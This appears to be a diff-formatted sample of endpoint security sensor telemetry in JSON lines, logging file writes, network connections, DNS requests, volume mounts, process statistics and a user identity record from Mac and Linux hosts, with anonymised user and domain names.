+{"event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1625677520.973","ConfigStateHash":"3090255842","ContextProcessId":"365044948432500700","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"0500000100000000000000000000000021b0260000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OoxmlFileWrittenMacV1","id":"ffffffff-1111-11eb-8ad1-02cfdadef55f","EffectiveTransmissionClass":"2","aid":"ffffffff20bd481a98a3d1f6191047ff","timestamp":"1625677521081","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508"}
+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677530.308","ConfigStateHash":"3469235958","ConnectionFlags":"0","ContextProcessId":"12227094573885","RemotePort":"80","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59926","Entitlements":"15","name":"NetworkConnectIP4LinV5","id":"ffffffff-1111-11eb-b727-028bbe41f38d","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffffbd064538b214ab0dce8e82c3","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677530841","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1156120155","ChannelDiffStatus":"1","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"12","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV2","id":"ffffffff-1111-11eb-b7e0-02332cdcc16d","ErrorCode":"0","aid":"ffffffff25b14d4aa96de99e24bad2fa","timestamp":"1625677493974","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677520.686","aip":"67.43.156.14","PhysicalAddress":"6e-9e-e0-1f-6d-7d","InterfaceAlias":"vethdeb0243","InterfaceIndex":"3736","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP6LinV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","PhysicalAddressLength":"6","aid":"ffffffffc9114c1898e79604708955a6","timestamp":"1625677521218","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1620585913","ChannelDiffStatus":"1","aip":"67.43.156.13","ChannelVersionRequired":"0","ChannelId":"210","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ChannelVersionRequiredMacV2","id":"ffffffff-1111-11eb-8cc5-02c6fb049dd3","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"ffffffff2d7b4778a73b2cf58d327e42","timestamp":"1625677480455","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"1156120155","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ConfigurationVersion":"10","name":"SensorHeartbeatLinV4","ConfigIDPlatform":"8","id":"ffffffff-1111-11eb-993f-02b8dc387eb5","ConfigIDBuild":"11611","aid":"fffffffff6e146908cbf31d72b94b626","timestamp":"1625677540292","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1625677528.570","ConfigStateHash":"3090255842","ContextProcessId":"364783686797112486","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000986b480e00000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"JavaClassFileWrittenMacV1","id":"ffffffff-1111-11eb-97c6-02fd02aca859","EffectiveTransmissionClass":"2","aid":"ffffffff083845f68a7de3d95cb34361","timestamp":"1625677528717","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class"}
+{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677512.700","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"364796317497854624","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP4MacV10","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff96f142f6b2475f3c584ddd80","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677512892","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"DnsRequest","ContextTimeStamp":"1625677475.806","ConfigStateHash":"1620585913","ContextProcessId":"364977197365370629","DomainName":"jss.dom1.com","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"DnsRequestMacV1","id":"ffffffff-1111-11eb-9644-060415b1fd87","EffectiveTransmissionClass":"2","aid":"ffffffff7ecf4e61bba14ca5ac5d17b1","timestamp":"1625677476111","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"28"}
+{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677504.770","ConfigStateHash":"1620585913","ContextProcessId":"365053504406857894","Size":"0","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9","FileIdentifier":"05000001000000000000000000000000b588050000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewScriptWrittenMacV2","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677540055","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/BitBar/countdown_timer.1s.py"}
+{"InterfaceIndex":"186","ConfigBuild":"1007.8.0011611.1","event_simpleName":"LocalIpAddressRemovedIP6","event_platform":"Lin","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","name":"LocalIpAddressRemovedIP6LinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-b3c1-02ff598b7945","aid":"ffffffffbfbf4ff5aa56a26ad3c1a942","timestamp":"1625677526386","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"DirectoryCreate","ContextTimeStamp":"1625677499.994","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053555029062046","ContextThreadId":"0","aip":"67.43.156.14","Flags":"0","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"0","Entitlements":"15","name":"DirectoryCreateMacV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","VnodeType":"2","EffectiveTransmissionClass":"2","aid":"ffffffff24db47799d1a85aae61dc7bc","TargetDirectoryName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871","timestamp":"1625677500089","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871"}
+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkCloseIP4","ContextTimeStamp":"1625677517.658","ConfigStateHash":"1479784503","ConnectionFlags":"0","ContextProcessId":"84424232977619","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"40394","Entitlements":"15","name":"NetworkCloseIP4LinV6","id":"ffffffff-1111-11eb-9015-02e89cda7d5f","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff58de4e748d9f64c85a9b49e6","RemoteAddressIP4":"67.43.156.13","ConnectionDirection":"2","InContext":"0","timestamp":"1625677517986","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"VolumeMediaName":"AppleAPFSMedia","VolumeDeviceProtocol":"PCI-Express","VolumeDeviceVendor":"","ContextThreadId":"0","VolumeMediaContent":"41504653-0000-11AA-AA11-00306543ECAC","VolumeMediaEjectable":"0","aip":"67.43.156.14","VolumeAppearanceTime":"1625677422.647","VolumeDeviceModel":"APPLE SSD SM0256L","VolumeMediaBSDName":"disk1s3","VolumeMountPoint":"/Volumes/Recovery","event_platform":"Mac","VolumeType":"APFS","VolumeMediaRemovable":"0","VolumeMediaBSDUnit":"1","VolumeFileSystemDriver":"apfs","id":"ffffffff-1111-11eb-956a-02748d01bd3d","VolumeMediaSize":"250685575168","EffectiveTransmissionClass":"2","VolumeBusName":"IONVMeController","timestamp":"1625677496804","VolumeMediaBSDMinor":"8","VolumeMediaWritable":"1","event_simpleName":"FsVolumeMounted","VolumeDevicePath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1","VolumeName":"Recovery","ContextTimeStamp":"1625677496.750","VolumeSectorSize":"4096","ConfigStateHash":"3090255842","ContextProcessId":"365053546767850587","VolumeBusPath":"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController","VolumeDeviceInternal":"1","ConfigBuild":"1007.4.0013701.1","VolumeUUID":"85400FAD-01F9-0442-8C5D-441F365D4909","VolumeDeviceRevision":"CXS4LA0Q","Entitlements":"15","name":"FsVolumeMountedMacV1","VolumeMediaBSDMajor":"1","VolumeMediaPath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3","aid":"ffffffff8eca418b7a861be9c5f7de1d","VolumeMediaUUID":"AD0F4085-F901-4204-8C5D-441F365D4909","VolumeMediaWhole":"0","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"}
+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677513.841","aip":"67.43.156.14","PhysicalAddress":"0e-d6-ff-ff-ff-63","InterfaceAlias":"eth0","InterfaceIndex":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP4LinV1","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","PhysicalAddressLength":"6","aid":"ffffffff190e436aaebc3892bcda5beb","timestamp":"1625677514374","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"3967242894","aip":"67.43.156.13","InterfaceIndex":"8","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressRemovedIP6MacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.14","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"llw0","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","PhysicalAddressLength":"6","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677521723","event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","PhysicalAddress":"c2-27-b0-27-83-0f","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressIP6MacV1","aid":"ffffffff0ad7494e8e817b3903f4eebb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677507.037","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364432308748445743","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"50647","Entitlements":"15","name":"NetworkListenIP4MacV10","id":"ffffffff-1111-11eb-8b36-06a8af5164a9","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff23d24c4193ffa6f270775ee5","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677507086","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1625677536.729","ConfigStateHash":"3090255842","ContextProcessId":"364994904864288322","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ExecutableDeletedMacV1","id":"ffffffff-1111-11eb-8ca0-0231588e8cbb","EffectiveTransmissionClass":"2","aid":"ffffffffa7bf46da689501ce58bd6987","timestamp":"1625677536784","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt"}
+{"event_simpleName":"GzipFileWritten","ContextTimeStamp":"1625677504.542","ConfigStateHash":"3090255842","ContextProcessId":"362897421906895953","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000501f510700000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GzipFileWrittenMacV1","id":"ffffffff-1111-11eb-9320-06d410e6f705","EffectiveTransmissionClass":"2","aid":"fffffffffc2c4e4fa9c08e1a8388e5f9","timestamp":"1625677504614","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz"}
+{"event_simpleName":"IOServiceRegister","ContextTimeStamp":"1625622770.595","ConfigStateHash":"3967242894","aip":"67.43.156.13","IOServiceClass":"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject","ConfigBuild":"1007.4.0013701.1","IOServicePath":"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000","event_platform":"Mac","IOServiceProperties":"","Entitlements":"15","name":"IOServiceRegisterMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","IOServiceName":"Touch Bar Backlight","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"PtyCreated","ContextTimeStamp":"1625622602.031","ConfigStateHash":"3967242894","ContextProcessId":"364938416497226937","DeviceId":"251658248","ContextThreadId":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PtyCreatedMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677478739","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"1803419442","aip":"67.43.156.14","InterfaceIndex":"18","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressRemovedIP4MacV1","id":"ffffffff-1111-11eb-b7b7-066cc89bcebf","EffectiveTransmissionClass":"2","aid":"ffffffff5ae3449ab33a1809fe6c5ce2","timestamp":"1625677475967","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NetworkCloseIP6","ContextTimeStamp":"1625677474.875","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"12241681491990","RemotePort":"9","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59999","Entitlements":"15","name":"NetworkCloseIP6LinV6","id":"ffffffff-1111-11eb-8130-02cde7751097","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff335f47ca89cad6a19f203bbd","ConnectionDirection":"2","InContext":"0","timestamp":"1625677475413","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ConfigBuild":"1007.8.0011611.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1156120155","ConfigStateData":"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV2","aip":"67.43.156.14","id":"ffffffff-1111-11eb-af89-06c111484f9f","aid":"ffffffffa74a4c89b9984a3a7124bb9d","timestamp":"1625677490580","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1625677493.531","ConfigStateHash":"3090255842","ContextProcessId":"364839648316192383","DomainName":"hg-t2.dotice.me","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"SuspiciousDnsRequestMacV1","id":"ffffffff-1111-11eb-a4a3-02cbdfb8f529","EffectiveTransmissionClass":"2","aid":"ffffffff0cd64fb78626ab1b6c65ac8c","timestamp":"1625677493756","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"1"}
+{"Parameter2":"0","event_simpleName":"ErrorEvent","Parameter1":"18446744072635810412","Parameter3":"0","ConfigStateHash":"1156120155","aip":"67.43.156.14","Line":"96","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ErrorStatus":"3759276032","name":"ErrorEventLinV1","id":"ffffffff-1111-11eb-bdd3-0681aa29cecb","Facility":"16778240","aid":"ffffffffabd047b1a86c1fcd8ef22b59","File":"0","timestamp":"1625677530922","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ConfigStateUpdate","ConfigStateHash":"3090255842","ConfigStateData":"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ConfigStateUpdateMacV2","id":"ffffffff-1111-11eb-8dc4-0234c12f9875","EffectiveTransmissionClass":"0","aid":"ffffffffa15a452190ae454f7d33e07e","timestamp":"1625677530590","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"KextLoad","ContextTimeStamp":"1625677509.064","ConfigStateHash":"1620585913","ContextProcessId":"364867547408058681","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","BundleID":"com.apple.driver.AudioAUUC","Entitlements":"15","name":"KextLoadMacV1","id":"ffffffff-1111-11eb-a2ae-028f6bf89be7","EffectiveTransmissionClass":"2","aid":"ffffffffaa0e47a1b009aef151d6179d","timestamp":"1625677509069","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ChannelVersion":"25","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"3155796140","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"20","ConfigBuild":"1007.8.0011110.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV1","id":"ffffffff-1111-11eb-b411-06baeacb7a63","aid":"ffffffff67d54f7daf3d998ffc74d48e","timestamp":"1625677507901","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"2037712541","Timeout":"60","ParentProcessId":"0","aip":"67.43.156.14","SuppressType":"3","SHA256HashData":"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20","ProcessCount":"60","BoundedCount":"57","ConfigBuild":"1007.8.0011308.1","UID":"115","event_platform":"Lin","CommandLine":"sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon","Entitlements":"15","name":"ProcessRollup2StatsLinV3","id":"ffffffff-1111-11eb-b34e-063f4cefccb3","EffectiveTransmissionClass":"2","aid":"ffffffffe22549479fbe8293b6747a68","timestamp":"1625677511754","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"UserIdentity","LoginSessionId":"1138166333440","AuthenticationUuidAsString":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","UserName":"user1","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"265","UserPrincipal":"user1@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1530","ConfigBuild":"1007.4.0013701.1","UID":"265","event_platform":"Mac","Entitlements":"15","name":"UserIdentityMacV4","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","timestamp":"1625677478122","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"FeatureVector":"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef